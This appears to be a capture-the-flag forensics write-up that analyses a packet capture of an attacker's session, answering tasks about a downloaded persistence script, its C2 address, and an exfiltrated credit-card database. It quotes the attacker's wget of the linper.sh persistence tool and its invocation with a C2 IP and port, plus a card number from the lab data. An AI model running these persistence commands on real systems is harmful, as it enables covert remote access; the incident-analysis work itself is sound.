This is really just becoming an exercise in how well we understand attacker actions. If we stay in the stream and see what the attacker is doing, we can easily see what they downloaded / how they downloaded it. There is some weird formatting because of the nature of typing and seeing responses and how long they may have delayed while typing, but here is the relevant part. Within the capture, red is what the user entered and blue is the response. That’s why you see it duplicated as they type.

w
w
g
g
e
e
t
t
 
 
.[200~https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh.[201~

Task 5 Answer: wget https://raw.githubusercontent.com/montysecurity/linper/refs/heads/main/linper.sh

Task 6: The attacker installed remote access persistence using the persistence script. What is the C2 IP address?

Let’s keep scrolling in the stream and see what else they did. I looked around but nothing jumped out at me immediately. At this point, a lot of the commands were vertical with the repeated characters (one from the input, one from the output) and I wasn’t seeing it. So I looked into that script that we saw being run from here. Inside that script, we see this:

EXAMPLES="Examples:

\e[33mPrint\e[0m Commands that can be used to install persistence (assumes -d): bash linper.sh -i 192.168.1.2 -p 4444 --print 

So we are looking for this script to be called with a -i and then the address. Looking for that, I found this part:

bash linper.sh --enum-defenses
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
.
..[K
i
i
 
 
.[200~91.99.25.54.[201~
.[7m91.99.25.54.[27m
.[C
............91.99.25.54
 
 
-
-
p
p
 
 
5
5
9
9

You can see that the command bash linper.sh –enum-defenses -i 91.99.25.54 -p 5599 was called and that gives us our answer.

Task 6 Answer: 91.99.25.54

Task 7: The attacker exfiltrated a sensitive database file. At what time was this file exfiltrated?

As we’ve been getting familiar with this interaction, I’ve read over this stream several times and by this point, I remember seeing this file named credit-cards-25-blackfriday.db being referenced. If you go File -> Export Objects -> HTTP from the Wireshark menu, you see this

Task 7 Exported HTTP Objects

We can see that it was exported in packet 9380. If I click that row it takes me to the packet (if you still have the stream filter on, it will take you to 9378 instead… they have the same timestamp to the second, though). I can see the date under the Time column.

Task 7 Answer: 2026-01-27 10:49:54

Task 8: Analyze the exfiltrated database. To follow compliance requirements, the breached organization needs to notify its customers. For data validation purposes, find the credit card number for a customer named Quinn Harris.

Okay, we left the objects to see the timestamp on the packet. Go back in File -> Export Objects -> HTTP, click the db row and click Save at the bottom. Choose somewhere to save it and let’s analyze it.

$ file credit-cards-25-blackfriday.db 
credit-cards-25-blackfriday.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 7, database pages 3, cookie 0x7, schema 4, UTF-8, version-valid-for 7

We can see that it is SQLite, so let’s look further. There only seems to be one table and the only identifier seems to be email. So, I check at first to see if any email has quinn in the name and we find one row and that gives us the answer.

$ sqlite3 credit-cards-25-blackfriday.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
purchases
sqlite> .schema
CREATE TABLE purchases (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  email TEXT NOT NULL,
  creditcardnumber INTEGER NOT NULL,
  purchase_date TEXT NOT NULL,   -- ISO date: YYYY-MM-DD
  item_purchased TEXT NOT NULL
);
CREATE TABLE sqlite_sequence(name,seq);
sqlite> select * from purchases where email like '%quinn%';
12|quinn.harris@hotmail.com|5312269047781209|2025-12-08|4K monitor

Task 8 Answer: 5312269047781209

And that’s it, we win. That was actually a pretty fun investigation. Let me know if you have any comments or rooms you’d like to see tackled.

Telly Solved